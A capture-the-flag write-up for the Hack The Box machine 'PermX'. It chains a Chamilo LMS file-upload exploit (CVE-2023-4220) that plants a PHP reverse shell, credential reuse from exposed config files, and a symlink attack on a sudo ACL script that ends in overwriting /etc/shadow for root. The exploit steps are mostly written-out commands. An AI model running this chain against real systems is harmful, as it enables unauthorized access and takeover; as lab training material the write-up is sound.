RCE | Web Root
A classic 20-80 port open Linux machine. From the website, we know the web app is for online learning business:
Enumerate subdomains:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://permx.htb" -H "HOST:FUZZ.permx.htb" -c -fc 302
We ffuf a subdomain named 'lms':
A Learning Management System (LMS) is a software application or web-based technology used to plan, implement, and assess a specific learning process. It provides an instructor with a way to create and deliver content, monitor student participation, and assess student performance.
As an attacker, when dealing with LMS, we should consider:
- Data security;
- User authentication;
- Network communications.
Vulnerabilities in an LMS can often be exploited to gain unauthorized access, extract sensitive information, or disrupt its operations. Common attack vectors might include SQL injection, cross-site scripting (XSS), or improper access controls.
Open 'http://lms.permx.htb' in the browser, we have a login page and it tells us that it's powered by Chamilo:
Chamilo is an open-source learning management system designed for a range of typical LMS features, such as course creation, quizzes, gradebooks, and student tracking.
Do a little searching on the Internet, we can find out there's a CVE-2023-4220 for Chamilo LMS introduced in this link.
The CVE-2023-4220 vulnerability in Chamilo LMS allows unauthenticated attackers to exploit the file upload functionality to perform Stored XSS attack and execute remote code (RCE), for improper handling of file uploads in /main/inc/lib/javascript/bigupload/inc/bigUpload.php
.
We can easily upload a webshell with above URI and access it under path /main/inc/lib/javascript/bigupload/files
as the web root.
The attack mechanism is simple and straight forward. But we cannot access the '/main' path directly. Perform a Dir Enum to lookup useful URIs:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u "http://lms.permx.htb/FUZZ" -c
We can directly path traverse under path '/app'. The web app developer just exposes all file directories to us:
Under path /app/config/parameters.yml.dist
we can retrieve the template for configuration settings, including database connection details, mailer configurations, and other environment-specific settings:
parameters:
database_driver: pdo_mysql
database_host: 127.0.0.1
database_port: ~
database_name: chamilo111
database_user: root
database_password: root
mailer_transport: smtp
mailer_host: 127.0.0.1
mailer_user: ~
mailer_password: ~
# A secret key that's used to generate certain security-related tokens
secret: ThisTokenIsNotSoSecretChangeIt
password_encryption: sha1
# Activation for multi-url access
multiple_access_urls: false
# Deny the elimination of users
deny_delete_users: false
installed: ~
password_encryption: sha1
sp_bower_bin: '/usr/bin/bower'
url_append: ''
sonata_media.cdn.host: /uploads/media
# If you installed Chamilo in http://localhost/chamilo_master
# you need to setup like this:
# url_append: '/chamilo_master/web/'
# sonata_media.cdn.host: /chamilo_master/web/uploads/media
sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'
locales: [en, fr, es, de]
We can identify the existence of the attack entrance bigUpload.php
:
Since we cannot directly access the upload page, we will use the POC of the CVE. First create a rev.php
using whatever PHP revere shell script, make a POST request to bigUpload.php
with action
query parameter set to post-unsupported
, and present out reverse shell as Formdata using curl:
curl -F '[email protected]' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The response indicates a successful upload:
Then set up a listener in advance, visit the /main/inc/lib/javascript/bigupload/files/<file_name>
path to access our reverse shell script:
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rev.php'
And we will get a shell as the web root www-data:
USER | Mtz
As the web root, we can now see the machine is running MySQL database:
We have retrieved the database parameters through /app/config/parameters.yml.dist
in previous reconnaissance for the web app directories:
We have retrieved the database parameters through /app/config/parameters.yml.dist
in previous reconnaissance for the web app directories:
parameters:
database_driver: pdo_mysql
database_host: 127.0.0.1
database_port: ~
database_name: chamilo111
database_user: root
database_password: root
But we do not have access to login the database as root though:
Continue to enum the '/app/config' path to browse some config settings, especially the PHP files we could not access when we perform path traversing before. Via configuration.php
, I discovered another user for the database:
Try this one for the MySQL, which works nicely:
From the 'chamilo' database, we can retrieve the hashes & salts from user admin and ano:
The password hashes start with $2y$
, which indicates they're bcrypt Blowfish(OpenBSD) hashes.
In bcrypt hashes, the salt is embedded within the hash itself. When using Hashcat, we do not need to separately provide the salt. Hashcat extracts it automatically from the hashes. Simply paste them into the 'hash.txt', then crack with mode '3200':
According to the 5-minute rule from HTB, we are not gonna wait for 3 hours to crack these hashes. This is obviously a rabbit hole again.
Check our target user with cat /etc/passwd
and ls /home
, we can easily find out our next move would be user mtz:
Reuse the password for the database user, we can login SSH as user mtz and take the user flag:
SYMLINK ATTACK | Root
Check sudo privilge, we have it for acl.sh
, which indicates some access control lists (ACLs) management, like the name for the box PermX:
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
The provided script sets ACLs for a specified user on a specified file, ensuring the file is within the /home/mtz/
directory and not traversing upwards (via ..
):
- Usage Check: Ensures three arguments are provided (user, permission, file).
- Target Validation: Checks if the target file is within
/home/mtz/
and doesn't include..
. - File Check: Confirms the target is a file.
- Set ACL: Uses
sudo setfacl
to modify the ACL of the target file for the specified user and permission.
Overall, the scripts aims to allow us using sudo privilege to modify permissions on files that locates at 'home/mtz' only, by restricting input ..
to prevent path traversal. However, the script only checks the path prefix and not the final resolved path of the symlink.
Therefore, we can perform the Symbolic Link (Symlink) Attack. This type of attack involves creating a symbolic link that points to a sensitive file or directory, then exploiting a vulnerable script or program to operate on the symbolic link, inadvertently affecting the target file.
I just happened to introduced the advanced Symlink Race attack in the last post for the old insane machine Skyfall, with its intended way to root. In this case we only need to utilize the base part of the primitive to tackle down this easy machine.
First we need to create a symlink pointing to the /
root path of the Linux system, within the restriced path '/home/mtz', named root
or whatever:
ln -s / root
Then use the vulnerable script (/opt/acl.sh
) to set permissions (rwx) on the sensitive file (shadow) related to the symlinked path:
sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow
Since we are modifying ACL for one single user mtz, we will not see direct result on the target file. But we can already discover that the ACL on /etc/shadow
has now been changed to having 'rwx' prvileges for users in group 'shadow' (previously it was only 'r'). And the green color of the file also indicates that we have execute privilge as the current user:
Followingly I created a hash for a simple password using OpenSSL:
openssl passwd -6 axura
This will output a hash suitable for the Linux system, for example: $6$randomsalt$hashvalue
.
Finally simply overwrite the /etc/shadow
file with the hash for the root user:
echo 'root:$6$Bbo96JzpUZNj6cO/$ORCKfhmDLKaqBj6cGZevWuU2o7MRKA.8rVzXZN6sU69H.6OVeZqqvJ12do9XC1xRYxTofLLcSko7hP9gKzeoP/:19742:0:99999:7:::' > /etc/shadow
We can then run su root
with the preset password to get root:
Comments | NOTHING